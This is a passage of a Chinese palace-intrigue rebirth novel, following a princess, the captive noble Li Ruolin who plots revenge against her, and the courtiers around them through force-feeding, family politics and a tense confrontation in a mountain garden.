铜镜台的夜色里,李若林的心脏一阵一阵地缩痛,他不敢回忆他被绞死的那一幕,只要那画面划过眼前,他就想把王卓仪捅个对穿,可谢洇的话是对的,阿姐尚为囚,他还不能疯。 他想着哑咳了一声,闭上眼睛北向翻身,闭上眼睛想要逼自己睡觉、身旁忽然传来一个声音。 “二公子在哭吗?” 李若林睁开眼睛,月光穿纱,斜照着一张清秀的脸。 那人很年轻,眉眼间稚气尚未脱尽,害怕吵醒旁人而压着嗓子。 李若林上辈子认识这个人,李书常,出身李氏连宗,父兄在洛阳做浊官,早在西陇之战开打时,就已被牵连革职,至今仍在牢中。李若林记得,王卓仪好像有点喜欢他,李若林时常看见王卓仪赏他糕饼吃,送他鸟雀玩。 后来他却莫名其妙地飘在芙蕖海里,死的时也不过十七岁。 “二公子别哭。” 李书常说着,也翻了个身,“太子良娣送我们来的时候说过,寿灵公主很怜惜我们,只要我们顺从,听话,就可以求她救我们的族人。” “她骗你的。” 李若林想都没有想,当下一语打破了他的幻想。 李书常愣了愣,倒是没有被他一举拽入绝望。 他尚年轻,又一直被父兄庇护在家中,哪里知道,洛阳城的女人们在想什么。 “可我觉得,良娣是好人……” “你不要信女人。” 李若林闷声打断他,“否则你会死得很惨。” “啊?” 那双疑惑的眼睛在夜里透出盈盈的水光,李若林受不了他的天真,正如他受不了自己从前的傻气,刚要翻身,忽听他又道:“那我信男子。” “什么?”李若林气得想笑,陡然回过头,倒见李书常认真地看着他:“驸马叫我照顾好你。” “谢洇……谢洇话你也别信……” 李若林话未说完,干苦的口中却忽然尝到了一口甜,他忙吐出来,原来是李书常给了他一块几乎不成形了的梅花糕。 “吃吧,这是驸马给我们吃的。那边传话说要吊死你的时候,我偷偷拿了一块,想着留给你。” 李若林伸手捏住那块梅花糕:“你怕我当饿死鬼吗?” “嗯。” 李书常点头,“吃吧,我们都觉得你太瘦了,虽然殿下喜欢瘦骨,但你这样的身子,恐不长寿啊。” 梅花糕的甜香还残留在口中,李若林整整饿了自己三天三夜,直到此刻,才感觉到真实的饥饿。 他缩在被褥中,低头咬了一口梅花糕,李书常悄悄地又问他。 “你给殿下侍寝了吗?” “我没有。” “哦……你能告诉我,你是犯了殿下的忌讳吗?” 李若林咀嚼着梅花糕,含糊地应了一声,“嗯。” 李书常似乎起了兴致,“诶,是什么忌讳啊,你告诉我,我以后侍寝的时候,好仔细避着。” “侍寝”两个字猛地扎痛了李若林敏感的神经,他一把抓住李书常的手腕,“李书常你怎么能说出侍寝这两个字?” 李书常疑惑,“啊?侍寝怎么了?不是二公子你松手,疼啊。” 李若林忍不住训斥他,“你也是世族之后,委身裙钗,你的脸呢?” 李书常沉默了一阵,忽释然一笑:“二公子才是真正的世族之后,我父兄都是浊官,我这辈子的气运眼看着也到头了,我就想救他们出牢狱,别说侍寝了,寿灵公主她想怎么样对我都行。不过,你怎么知道我的名字的,我什么时候告诉你的啊……” 李若林解释不清楚,索性不吭声,而李书常也没有纠缠,一门心思就想知道王卓仪的忌讳是什么。 李若林吞下最后一块糕饼,蜷缩进被中,闷声道:“她不喜欢男子对着她哭。” 李书常认真地重复道:“哦……殿下不喜欢男子哭,诶?所以你今天对她哭了?” 李若林不想跟这个没长醒的人说话,却顺着他的话,回想起了王卓仪面前的自己。 他捅向她的簪子没能捅中,他气得急火攻心,张牙舞爪,被绑起来以后,却又在她面前哭得像一个疯子。 但是…… 他竟然没有死。 上辈子王卓仪果然在放屁。 上辈子王卓仪果然是个大骗子。 骗了他的心却不要他的身,她怎么这么狠!她怎么能这么狠!她怎么可以这么狠…… 他心中如是想,猛一闭眼,倒真的是对着李书常,流下了眼泪。 这一次,他绝不能听她的,他一定要想点别的办法,重新活一次,把她弄死。 对,一定要把王卓仪弄死。 素居月?直棂窗下,竹帘高悬,王卓仪一阵恶寒。 含朱移来灯烛,问王卓仪要不要用些梅花糕,毕竟闹了一晚上,她什么都没有吃,只喝了一肚子酒。 王卓仪无端想起了李若林的那一把瘦骨,当即想给自己一巴掌。耽于情爱曾要过她的命,重来时,靠着仇恨她斗赢了自己在阴阳一事上的浅薄,可这辈子仇恨散了,李若林仍然跪在她面前,眉目如画,身段如柳,她好怕自己输了。 “不吃了,睡吧。” 王卓仪蒙上了头。 含朱吹灯,东方的天空已悄然泛白,一连几夜,王卓仪都辗转反侧,没怎么睡好。 之后的几日,王卓仪强制自己,把李若林忘了,当他从来没有存在过。 然而三日之后,谢洇来告诉她。李若林绝食了。 王卓仪听了一个头两个大。 “不是他到底要干什么?” 谢洇正急着要去度支曹衙,西山不比寿丘里,虽因不必日日朝班,但上职路远,他也得早行。平时这个时辰来向王卓仪叩安,王卓仪都没有醒,这日她倒是梳洗整齐,在素居坐着等他。 谢洇看清了她掩饰不好的惶然,反倒放平了声音,“他一直在铜镜台痛哭悔罪,想求见殿下。” “你告诉他可以,前提是先抽他一百鞭。” “什么罪名呢?” 王卓仪随口道:“作得我头疼。” 谢洇笑了笑,平声道:“殿下,一百鞭人会死。” 王卓仪失去对谢洇的耐性,撇头扔下了一句:“让吴盈带人去灌他。” 谢洇拱手应了一声:“是。”抬头甚至还帮她找补了一句:“我也是这个意思,殿下的明月园里饿死了人,传出去到底不好听。” ** 王卓仪没再说话,下了谢洇的台阶。 就这样勉强相安无事地又过了几日。 其间王卓仪腰伤一直没好全,因为李若林的事,又新添了头痛,她索性没有出明月园,召御医住到了明月园,为她调养腰伤,谢洇也没有回寿丘里的公主府,每日朝班后去支度曹衙伏案至天暗,方借昏光西出承明门,独上西山来。 朝中听说王卓仪受伤,上至建元帝下书问病,下至谢、萧二氏的无职后辈亲谒探问,直闹得西山山路上,车马塞道。 王卓仪起先一个人都不想见,只把谢洇推出去应承,自己在素居静养,直到宋浓拖着沉重的身子,跪在了素居外。 那日是王卓仪生辰过后的第十五日,临近除夕,王卓仪也勉强能起身了。 午时才过,她正在素居里看昌平长公主主持翻译的经文,宋浓是吴盈亲送过来的,王卓仪本想斥责吴盈私自做主,吴盈却说:“良娣说她是来向殿下请罪的,不进宋园,只在园外跪候便是。可小人想着,这几日西山道上往来人多,若是看见东宫内妇请罪,怕太子面上过不去。” 王卓仪不置可否,吴盈索性又进三寸,恳切道:“殿下那样得疼惜宋良娣,这腰伤也是为救宋良娣受的,小人唯恐处置得不好,殿下怪罪,所以只得将人先带进来,问殿下的意思。” 王卓仪走到竹帘下,宋浓就跪在将将扫净雪的一块空地里,那个地方将好能看见素居的窗户。王卓仪往帘下一站,二人就对上了彼此目光。 宋浓没有出声,仍旧守礼静跪。 王卓仪隔着帘问她:“又是王宪逼你来的吗?” 宋浓听到这一声,沉静的脸上忽地绽开了笑容,“卓仪。” 卓仪。 无人处,宋浓就这么唤王卓仪,而王卓仪也准许她这样越矩,纵她省去自己的皇族姓氏,仿佛她们不是君臣是朋友。 上一世,这个称谓在明月园的生辰宴上就绝了,因为她决定要当一个空前绝后的狠毒人,既然不能有漏洞,又怎么能有朋友。 于是生辰宴后,王卓仪再也没有亲近过宋浓。二人分崩离析渐行渐远,各争生死富贵,宋浓站了夫君王宪的立场,王卓仪捏死手里的权和钱一点不放。天家子女博弈的过程当中,她们相互都下过手,到头来成王败寇,王卓仪看着宋浓和儿女们受死,好像也没什么好说的。 那这一世呢?怎么处? 这似乎和如何对待李若林是一个问题,但又有些不同。 毕竟她是个姑娘,是个坚韧又执着的姑娘。 如果说上一世的王卓仪还在忌惮她的执着,那么这一世她愿意观赏她。 想着,王卓仪在窗上靠坐下来,望向宋浓隆起的小腹道:“西山道那么难走,你也不掂量掂量。” 宋浓垂下眼睑,轻声道:“我怕你还是不肯见我。” 王卓仪呼出一口气,半晌才找了一个听起来不那么刻意的语气,“你想太多了,进来坐吧。” 7.雪中聆旧(七) 茶席摆在直棂窗下,竹帘的坐榻上,王卓仪为宋浓放着一个隐囊,榻下设一双炭盆,上罩竹笼,王卓仪让宋浓脱了丝履踩上去,烘烤她被雪气浸湿的裙裾。 “后来御医去看过你的胎吗?” “嗯,去东府看过了。” 宋浓细致地藏好裙裾下的赤足,抬头应道:“我这一胎怀相不错,胎儿也强健,加上已经快六个月了,倒是不怕的。” 席上茶盏反扣,盏底白炭上压着腊梅,王卓仪在闷杯香,一旁的汤瓶里则泡的是蜀地茶。 布帐后面,流云和含朱共做针黹,不时几句谈笑,混着炭火的噼啪声,竟有些热闹,嬉闹无礼时,王卓仪和宋浓也不去阻止。 “卓仪……” “你说?” “那日在明月楼……是我伤了你。” 宋浓提起了前事,随即翻开青釉盏,替王卓仪满茶,“你非但没有怪罪我,还替我在太子面前解围,我心里实在羞愧,所以无论如何,总要来你面前磕个头。” 王卓仪见她调理茶席,索性罢了手,撑着下颚,随口问道:“我走后到底怎么了?你人在梯上在慌个什么?连自己的身孕也不管了。” 宋浓低头抿唇,并没有回答,只将斟得半满的茶盏推了过来。 王卓仪看着宋浓的样子,忽道:“你做这幅样子给我看,是知道我事后会查明因果,查出归仁旧事重提,当众羞辱你。你也知道我不喜欢归仁,所以一定会怜悯你在她那儿受的委屈,甚至还会寻机,为你出掉这口气。” 宋浓一惊,若不是脚踩在薰笼上怕是早已离座。 当然,王卓仪自己也是暗惊。 她也没想到,自己就这样漠然而残忍地戳穿了宋浓的本心。但其实这对于一个不到二十岁的女子而言,并不算多卑劣的算计,充其量有一点为人处事的小心思,无伤大雅,反而既照顾到了她自己也照顾到了归仁县主,甚至还给王卓仪留下了处事的余地。 可是如今王卓仪好像对人情世故失去了兴趣一般,看透了就开口骑上人面,两三句话,径直逼红了宋浓的脸。 宋浓无措,坐立难安。虽然那日在明月楼上,她就已经感觉到了王卓仪的异样,可直面王卓仪突如其来的犀利,她还是慌了神。 这位身份高贵的昔日好友,不知道什么时候丧失掉了从前对她的那份怜惜,但似乎又没有彻底对她失去关怀,倒是精狠得盯住了她身上的瑕疵和她那点自利的私心。 然而即便如此,也谈不上厌弃她,反而时不时流露出些许,明知她目的不纯,却又不得不替她兜底的无奈。 “卓仪我不敢。”宋浓下意识得否定。 “你都叫我卓仪了你有什么不敢的。” “卓仪……不是,是殿下,殿下,妾真的不敢……” 她说着就要下地跪下,王卓仪本在喝茶,看她要起身搁了茶盏顺手拦住她,“没必要宋浓,就算你真的是这样想的,那也没什么,我本就厌恶归仁那跋扈得没天没地的样子,没道理去向着她,反而不顾你的受的委屈。” 宋浓紧紧地绞着腰上的细绦,王卓仪把话说开到这个层面,她再装假反而是自取其辱。 “宋浓。”王卓仪唤了她的名字,宋浓忙抬起头迎上。 “是。” 王卓仪犹豫了一阵,还是伸手拍了一把她的肩膀,“你放松一点好吗?不管你信不信,人活到最后,好死不死都那样。” 她说完站起了身,拍了拍袖口的褶皱,“留我这用膳,我叫她们在明月楼上吊锅子,咱们汆兔肉吃。吃了你也不用急着走。天暗后西山道难行,我召你兄长过来,护送你回东府。” ** 因为王卓仪的这一道令,廷尉寺监正宋怡在西山山道遇见了下职归园的谢洇。 宋怡本行在谢洇后面,因谢洇乘车而他骑马,脚程快得不少,半道不满,就已追了上来。 “谢洇。” 宋怡在车外唤了谢洇一声,谢洇闻声打起车帘,“你怎么上山了?” 宋怡控住马,与谢洇的马车并行,“哦,良娣在园中,公主殿下恐夜里山道不好行,令我前来护送。” 谢洇看了一眼天时,“你从什么地方过来的。” 宋怡朗然道:“廷尉寺。” “那怎么会这么晚?” 宋怡笑道:“怎么,只准你谢曹郎在度支衙门里呕心沥血,不准我宋怡尽职啊。” 谢洇懒得和他对词,撂下了车帘。 宋怡见此忙道:“自从做了寿灵公主的驸马,你的脾气越发大了,实话说吧,萧惟春年后要将李氏一族解入洛阳,我今日在寺已经看见上文了。” 谢洇静坐车内,没有回答。 宋怡道:“谢洇,我和你在洛阳交游这么多年,看着你娶妻生女,又侍奉公主,你在想什么我还不知道吗?宋浓都告诉我了,为了救善宁和你的女儿,你把李氏的那位公子都送进明月园了,如今眼看李氏就要被解进洛阳了,寿灵公主究竟怎么说?” 帘内仍旧沉默,马蹄幽幽踩踏着山道上的枯枝,已近黄昏了,山中除了偶尔几声鸟鸣,惟余风声。宋怡体谅谢洇的心情,不想再多问,谁知车内却传出沉闷的一句:“我不太弄得明白,那两个人在想什么?”…… 宋怡挑眉:“怎么说?难道殿下不喜欢李若林?” “倒不是不喜欢。” “正是这说法,去年你们在我家中饮酒,宋浓偶然翻出那张画像给寿灵公主看了一眼……” 宋怡说着一笑,“当着你的面,她当下就要见那李若林,谁想那个时候,西陇打得民不聊生,她还怕李若林死在战乱里,当即给她表兄写了一封信。虽说她酒醒后,不认这事,但我记得很清楚,你也……” “你说这话是完全不在乎我的体面吗?” 谢洇虽如此说,语调里却听不出一丝恼意。 宋怡笑道:“你我都认识多少年了,我是知道你连谒居都不住,才敢冒犯。旁人处我绝不会提一个字。” 谢洇不置可否,宋怡压下声音正色道:“所以到底如何?眼见要入正月了,年后春决,李氏这些人,没有道理不杀,太子没有立场也不想救人,一门心思只盯着西陇的番库里的钱,要和萧惟春去夺那解运的差事,李善宁和你女儿的性命,只有倚赖寿灵公主,去跟陛下荒唐地闹一回了。” 谢洇深吸了一口气,“行了你别说了。” 宋怡不死心,“我这是为你着急。” 谢洇忽然掀帘,“你不急你自己的事吗?” “我?我什么事?” 谢洇问道:“你什么时候娶归仁县主。” 提起归仁,宋怡顿时吃瘪,抬手一抽马背,行到谢洇前面去了。 ** 天色很快彻底暗了下来,好在晴好了一整日,夜里也不算太冷。 王卓仪果然叫人吊起了暖锅,吴盈亲自在旁片切新鲜的兔肉,一面对宋浓道:“别的不敢叫良娣吃,这兔肉是他们今一早才从山里下回来的。咱们殿下小的时候就好这一口,您看看,小人这手艺就是伺候殿下练出来的。” 宋浓含笑道:“我每回来,总有叨扰长史的地方。” 吴 盈一面切肉一面道:“嗨哟,说句大不敬的话,您时常来陪伴咱们殿下,小人是看着您长成的,不说咱们殿下疼顾您,小人也心疼您,想照顾好您啊。” 正说着,王卓仪从楼下上来,她的腰伤还没好,坐下时冷不丁吸了一口气,宋浓忙将自己腰下的隐囊放在王卓仪腰边,一面问道:“殿下更衣怎么去了这么久。” 王卓仪应道:“哦,我想听《玉妃引》,但将在楼下听人试了笛,也不知道是不是天太冷了,音僵得很,不如不听的好。” 她说完靠在了隐囊上,摁着后腰,抬头对吴盈皱眉道:“御医不是说,我能略站一站了吗,这怎么还是痛得难受” 吴盈道:“殿下是太急了些,伤经动骨哪那么容易好。诶,要不使含朱来给殿下按上一按?” 王卓仪道:“她们没那力道,久了也站不住,倒是不上不下的……” 吴盈会意,忙道:“这驸马尚未归,那……不如小人去铜镜台使一人过来?” 宋浓听下这话,忙接过话来,“我和太子殿下送来的那些人,你使得可顺心吗?” 王卓仪回头道:“人是你和谢洇挑的,自然都不差,我还没赏过他们呢,将好今日你在我这里,我让他们来,当面谢一谢你的恩。” 宋浓迟疑:“这怕是……” 王卓仪笑道:“反正笛曲是听不成了,我们两个人吃这暖锅也不热闹,不如叫他们都来,与咱们清谈几句也是好的。” 说完向吴盈使了个眼色,吴盈正要下去办,王卓仪忽又追来一句:“李若林就不必带来了。” “是。” 她将说完这句话,芙蕖海上忽然传来一阵隐隐约约的哭声。 王宋二人皆止话细听,竟能分辨出是男子的哭闹声。 宋浓不过神色疑惑,王卓仪却锁紧了眉头。 吴盈见此,在旁回道:“回殿下,良娣,是那李氏子绝食,这会儿铜镜台那边正灌他饮食呢。” 王卓仪摆了摆手,示意吴盈下去。 宋浓眼见吴盈去了,这才问道:“李氏的这个人……不得殿下的心吗?” 王卓仪垂下眼睑,“宋浓,如果我让你帮我一个忙,你愿意吗?” 宋浓应道:“殿下请说。” 王卓仪道:“帮我把李若林带走,交给你兄长宋怡。” 宋浓疑道:“若是他不好,也不必这样。把他送去廷尉北狱不就行了,照理说,若不是殿下肯留着他,他就该在北狱里等着李氏的人进洛阳,一并论罪。” 王卓仪自语道:“也不必这么狠……” 宋浓道:“哪里狠了,从前他是世家子,倒还有两样说法,如今他可算什么呢?根本不值得殿下为他费心。” 王卓仪抿了抿唇,李若林的哭声穿水而来,王卓仪头痛欲裂得压根不想提李若林的名字,此时她只想把李若林扔出去,但又觉得不能直接把他扔入绝境。 如今细想,谢洇已经打定主意要把李若林往她身边送,指望不上。王卓仪回想从前的两段人生,所交之中,烂人无数,但宋怡还算是个正经君子,于是对宋浓快语道:“你先不要理这些,总之这话我去说,宋怡一定不会同意,但由你开口,应该还有余地。” 宋浓忙道:“殿下要做的事我一定做,可他是罪人,殿下不要他,我兄长和宋家也不可能一直庇护他。” 王卓仪摁着太阳穴,“那就看他的命吧。” 说着抬手往滚烫的水中投了一片兔肉,“我看着他就吃不下一点。” 说完觉得烦躁,手上却把整盘兔肉都倒了进去。 8.雪中聆旧(八) 在洛阳城久居过人的,其实都没见过一个发疯的世家子是什么样子,以至于宋怡在明月园看到被吴盈带来的李若林时,当即错愕地愣在了明月楼下。 谢洇和李善宁的大婚宴上,宋怡见过当时还是谢洇小舅子的李若林。 那年,扬州风调雨顺,稻作丰收,是饥寒交迫的大魏朝难得好年生。 苟延馋喘了很多年的国库,终于平掉了半层亏空。 也就是那这一年,谢李两族中最好的两位青年在洛阳联姻,可谓是一场盛会,洛阳城万人空巷。身为谢洇好友的宋怡,在婚仪上被李善宁“托孤”,说他的胞弟年岁尚小,受家人庇护,养得性情乖张,恐他在宴上无礼,得最皇族宗氏的贵人,因此请宋怡代她夫妻二人照看一二。 宋怡印象中的李若林倒是不似他长姐说得那般不知世故,相反他待人接物进退有度,宋怡与他清谈“三玄”,也是对答如流见解独道,再加上他生得一副极好的皮囊,人虽年少尚为泛叶浓枝,在一隅静坐,也似一丛小兰。 可今日…… “我要见殿下!” 他像一滩烂泥一样被侍卫从芙蕖海边的兰丛里拖了出来,一只手死死地勾着吴盈的胳膊,吴盈被他拽得走一步顿一步,刚腾出一只手去捂他的嘴,谁曾想却被李若林不顾仪态地抱死了整个身子。 吴盈不得已,愤然斥道:“这人的福气就那么多,第一面你没能得到殿下的心,反叫殿下厌了你,这就是你的福气损完了,强求无用,我劝你听话……” 他说着看了一眼宋怡,费力地想把手臂从李若林指间抽出来,一面呵道:“贵人在此,你还不快放手,这等不识礼的模样,叫贵人看着成何体统!” 李若林显然根本没把吴盈的话听进去,一味哭求:“吴长史,我不走,我死也不出明月园,我想求见殿下,您帮我求求殿下好不好,只要她肯见小人一面,小人做什么都可以……” 吴盈被他扯得眼冒金星,有些不好意思地望向宋怡。 是时,流云搀扶着宋浓下了明月楼,宋怡忙走上前去问道:“他不是你和谢洇送来的吗?到底怎么回事?” 宋浓看了李若林一眼,转扶宋怡的手腕朝边上走了几步,轻声道:“不知道他怎么得罪了寿灵,寿灵不要他了,让我来给兄长传句话,说他此后就交给兄长,生死由兄长来定。” 宋怡声音陡抬,险些跳起来,“这是什么道理?” 宋浓道:“依我看,我倒想请兄长应下。” 宋怡道:“你当我是谁?我在廷尉监正的任上,尚书省的人,一日两次地下来同我议李氏的罪,若我家中留着个李氏的公子,我……” “什么廷尉尚书省。” 宋浓打断自家兄长,“平日里你们议你们的事议到天上去了又如何?寿灵一句话就给摁回来了。” 宋怡忙道:“你这话过了啊,王法……” 宋浓再度打断他道:“兄长谈王法,太极殿上有几日立着天子?天子又说过几句正经话?” “宋浓!还不闭嘴!” 宋浓知道宋怡动了三分真火,终是闭了口。 宋怡见她身子沉重,恐她久立难受,自己平复了一阵,放低声音道:“先让流云扶你蹬车,我在这里等谢洇回来,和他商量商量,再做决断。” 宋浓立着没动,宋怡只得又压低了一分声音,看向李若林道:“就算我答应了,李若林这幅模样,我就这样带着他,也不成事啊,你总得让我这个做兄长的调停调停,方成体统。” 宋浓这才点了点头。 宋怡不禁叹了一口气,面露一丝忧色道:“寿灵和东府,为了西陇番库,皆收着利爪伺机而动,谁也没打算放过谁,你啊,人在东府本就让我们担心,你又事事为寿灵着想……” 宋浓道:“我的事我自己知道。” 宋怡听她这样说,也不好再说什么,只得叹了一声。 山风入园,天光收尽后,明月园比洛阳更冷。 李若林从铜镜台被带出来的时候,外罩的羽氅早在抓扯之时不知去了什么地方,当下山风袭单衣,不防打了一个喷嚏。披发应声垂肩,这幅做派是他前世最熟悉,也是他如今最厌恶的,庆幸王卓仪不在眼前,他还能放出这一身功夫在宋氏兄妹面前自辱,只为他知道,想要杀了王卓仪,他绝不能就这样莫名其妙地离开明月园。 宋怡不忍见李若林这样,几步走到他面前,试图拉他起身。 “你先站起来。” 李若林反将吴盈扣得更紧,望向宋怡道: “若宋公子一定要带走小人,小人宁可自戕在此地!” 宋怡听罢愤然叉腰,呵道:“乱七八糟,你倒对着我寻死觅活起来了,谢洇……” 他说着回头看了一眼,闷道:“这谢洇怎么走得这么慢!” 宋浓上前道:“要不,兄长先把他带出去?他如此不雅,怎么能留在这里污寿灵的眼。” 宋怡听了这句话,一时面露犹豫。 李若林见此再也顾不得,那一句卡在喉咙里羞于出口的话忽地脱口而出:“宋公子不能带小人走!殿下……殿下她已经要了我了!” 话音落下,吴盈被惊得目瞪口呆,宋浓顿时红了耳根,宋怡也跟着愣住。 李若林半张着口,手肘颤颤,耳边风声阵阵,而他颅内轰然作响,他真得很鄙夷自己,很想死,但他没有办法了。 明月楼上,王卓仪看着李若林的背影,手心发冷,心想李若林果然十分恨她,恨得尊严不要了也要给她造这样一个谣,与此同时她也能够确认,李若林的确不记得他们的第一世,否则凭他在那一世修出的心性,他有一万句话能哄得了她,绝不至于把他自己逼成这幅模样。 “你怎么变成这样了,简直……简直不堪入耳……”宋怡撇过头,不足兴地又狠狠添了一句:“简直不堪入目!” 一直看着李若林的宋浓,此时却忽地朝他走近了一步。 宋怡忙护她道:小心他伤着你,回来!” 宋浓没有在意宋怡的提醒,低头对李若林轻声道:“你是我带进来的,如今我带你走,也不会给你死路。” 然而李若林却没有听清宋浓的话,无耻之语出口,他已然没什么好矜持的,只管对着宋怡道:“小人只是犯了错,惹殿下不快。殿下这是了教训小人,不是要真的弃掉小人。小人无知殿下矜贵,嫌隙偶生在所难免,殿下回转心意,一定会收回小人,宋公子,你不要行了好事却反做了恶人。” 宋怡又好气又好笑,想他富贵至极一遭低落谷底,一无所有说出来的话和贱口无异,一面又觉得李若林可怜。 明月楼上王卓仪彻底听不下去了,宋浓抬眼见王卓仪起了身,立即趁机又近了李若林一步,压低声道:李若林,你 越这样闹越让人厌烦。再闹下去殿下绝不可能不会带你在身边,西山雪猎你去不了,你一辈子都会被锁在这园里,可是你也世家出身,你就一点也不想入洛阳贵人的眼吗?” 这一番话,李若林听到了四五层意思,而这足以让他怔住了,缓缓移过眼,朝宋浓看去。 与此同时,他身后裙尾拂尘,轻盈地扫至他的脚踝边。 李若林浑身一颤,顿时哽住了脖子,他回头看向身后的王卓仪,背脊僵得像一根湿棍。 王卓仪没有看他,径直走向宋氏兄妹,对宋怡道:“你先护送宋浓回东府吧。” 宋浓问道:“殿下没事吧,他……” “我没事。” 王卓仪仰起下巴,“能有什么事,大不了我赐死他。” 说完摆手道:“你们回去吧,难得叫你们在我这里看了一场丑事,离了我这里口下留情,我自然知道谢你们。” 宋浓还想说什么,宋怡已经行了辞礼,略带尴尬地留下一句:“不知殿下腰伤安否,切要珍重玉体。” 说完这句,就只顾拉着宋浓的手飞快地远离了这是非之地。 明月楼下,两个都还没想好今生怎么面对彼此的人,终于不得不四目相对。 李若林凌乱地跪在地上,想起自己将才说得那几番话全都入了王卓仪的耳,一时自恨、几欲发疯。理智告诉他,此时他应该乘胜追击,照着王卓仪在他临死前告诉他的那般,虚与委蛇地去取悦她,然而不知道为什么,没在王卓仪眼前的时候,他颠得不知名姓,什么话都敢说,可真到了王卓仪眼前,他竟一点也张不开口,甚至连动都动不了。 “你到底要怎么样?”王卓仪先出了声。 这是李若林下手杀她之后,她和李若林第一次相对。从某种意义上讲,李若林还是赢了,至少他把她从明月楼上逼了下来,至少他还在她的明月园中。 “我问你你究竟要怎么样?” 李若林肩头一颤,“我……” “不是自称是小人吗怎么又称起‘我’来了,李若林你到底几副面孔?” 李若林被王卓仪问住了,眼前的王卓仪和记忆里那个嬉笑怒骂,恣意妄为的寿灵公主有些不一样。 她站在他面前,裙裾就温柔地逶迤在他手边,说话的声音一点都不刺耳,萦着两分她这个年纪不该有的疲倦和无奈。 “把衣裳穿好。” 李若林一怔,低头见自己的腰上的绦带不知什么时候开了,他忙手忙脚乱地去系上,王卓仪则沉默地转过了身。 最初烈火干柴烧熬鸳鸯白骨,重来就算被杀身之仇隔绝,她也肆意观赏,从没回避过这副绝好的身段,此时竟不敢细看,不忍细看,王卓仪摁住自己的太阳穴,脑中不断地在想,到底应该把李若林扔到什么地方去。 “吴盈。” 吴盈怔了怔才回身应答:“是,殿下。” “等他穿好了就把他带回去。” “是……” “我不回铜镜台!” 李若林抬头看向王卓仪的背影,“不是,小人,小人只是想留下。” “留在哪儿?”王卓仪问他。 明明“留在殿下身边。”是一句很简单的表白,可李若林就是难以启齿,王卓仪却从容地替他说了出来,“留在我身边吗?”说完声量赫然一台:“然后再伺机给我一刀?” 9.雪中聆旧(九) 他果然回答不了。 王卓仪对着李若林冷笑了一声。“想要我命的人,怎么能留在我身边。” “那是小人一时有病,是小人疯了……” “李若林。” 王卓仪根本不听李若林在说什么,压住他的声音道:“你继续作死,放心我不会管你。今日你逼走宋怡是你自己蠢,有活路不走你要跟着我来继续活受罪。我告诉你没用的,我总会找到一个人,来收拾你的残局。” 她说完敛裙就走,然而没走出几步,人声穿破周遭的风流,直钻入耳。 “我知道殿下厌恶我的人,见我生得不错,才有一分怜悯。” 王卓仪摁住额头,心想李若林真是用最卑微的言辞,造出了一个极致肤浅的王卓仪。 她有些想笑,而耳畔的声音继续说道:“既然如此,殿下为什么是要把我交给一个人?而不是找一个地方关我一辈子?” 将才还觉得好笑的王卓仪顿时眉心一蹙。 “殿下对我没有那么狠对不对?”他试探着问王卓仪。 对。 七魂六魄在冥冥之中替王卓仪回答了这么一个字,王卓仪不得不逼自己冷下脸来,当没听见这几句话一般越走越快,谁想背后传来一阵衣料摩擦泥草的声音,霎时就逼近了她,接着一只手死死抓住了她裙裾下的脚踝。 “殿下,小人……哪儿也不去。” 这话卑微,但不难讲,因为这是李若林真心。 他知道王卓仪绝对不是铁板一块,上一世的自己一定遗漏了什么地方,十来年相濡以沫却错失了所有的机会的确是他蠢,可这回他一定要留下来再活一次,不信撬不动王卓仪的心,不信要不了她的命。 王卓仪试图拔出自己的腿,李若林狠下心,竟伏下全身双手抱死了她的脚踝。 “放手。”王卓仪切齿道,回应她的还是还是那一句:“殿下我哪儿也不去。” “你……” 很有意思的是,李若林对王卓仪上了手,若换一人,王卓仪应该早就照着心窝踹了,偏偏当下她只是略显狼狈地杵着。 她没有对吴盈等人发话,在场没人敢去冒犯王卓仪的身子,也就没人敢动李若林。 两人僵持之时,王卓仪看见了谢洇。 谢洇将才下车回园,身上尚穿着厚重的官服,他在门前解氅,倒是远远地看见了王、李二人。 但也是看了一眼,将氅衣递给门前的婢女,便沉默地转向了另外一条道。 王卓仪情急,“谢洇你过来!” 谢洇站住脚步,向王卓仪行礼道:“殿下有什么吩咐?” 王卓仪看了一眼令他动弹不得的李若林,“你难道看不见吗?” 谢洇这才直起腰,沿道走来,道上的仆婢纷纷让开,好奇这三人今日如何收场。 谢洇行至李若林身旁,王卓仪因为腰伤已经有些站不稳,谢洇伸出手臂给王卓仪借力,顺势低头对李若林道:“你在放肆什么?殿下的身子也是你能碰的?” 听见谢洇的声音,李若林的手总算是松了三分力。 谢洇蹲下身道:“再不放手,你就去住北狱。” 李若林这才彻底松开了王卓仪的脚踝。 谢洇起身扶王卓仪站稳,方对王卓仪道:“臣在回来路上遇到了良娣和宋怡,说殿下要送李若林走,想是殿下已决断,臣不当求情,所以才没有过来。” 王卓仪整理着被李若林拽得有些凌乱的衣衫,不置可否。 谢洇又道:“其实殿下有什么不顺心之处,可以先告诉臣。” 王卓仪笑了一声:“我告诉了你,你就再拿吊死他来和我做对。” 谢洇再拜:“臣没有殿下想得那么残忍,所行不过是想殿下称心。” “行了,你别试我了。” 王卓仪转过身,“你陪了我这么多年,我至今所学有一半都是你教的,你还有什么看不透的。你见他行刺我我却舍不得杀他,你就觉得我喜欢他,会为他所求荒唐行事,去救李善宁和你的女儿?” “臣不敢这样想。” “不,谢洇你敢。” 王卓仪朝谢洇走近一步,“其实你猜得对,上辈子我真的会这样做。” 谢洇沉默了一阵,缓缓直身,“那如今呢?殿下变了吗?” “如今?如今我会去想,这样做对我到底有什么好处。是留一处脊梁骨给世人去戳,说我的驸马始终心念他从前的女人而不忠于我,还是发了慈悲却为人作嫁……” 她说着扫了李若林一眼,“去换一颗狗啃过的良心?” 不知道为何,听王卓仪说这句话,谢洇竟莫名觉得有些悲意。 “殿下如此通透,连臣如此卑劣的想法都看得一清二楚,也知道李若林的良心被狗啃了,那么为什殿下不责罚臣,又为什么不杀了李若林?” “……” 谢洇问住她了。 “殿下真的变了,话说得比从前狠,行事却比从前仁义。” 话说到这个层面,王卓仪也忍不住了,对着谢洇又把话掀开了一层,“行,你说我变了,我就赠你一言,谢洇,仁义不是什么好东西,修得多了容易死。在洛阳城里做一个真正的君子,到头来都是为人作嫁没有任何意义。只要你降下你自己的底线,拿谢氏满门之势,又或者你所掌的度支曹衙去送给王宪,你信我,十个李善宁都换得出来。” “殿下的话是认真的吗?” 王卓仪笑道:“你看你就听不进去我的话……” “殿下。” 谢洇的声音忽然沉了下来,随之凝向王卓仪,“殿下的政见,已经是臣在这一朝的底线,若再降及太子,则谢洇,猪狗不如。” 王卓仪自认上一世,她攫权夺利是先顾私人再惠民生,天家子女中,如果她不算仁义,那王宪就是个伥鬼。 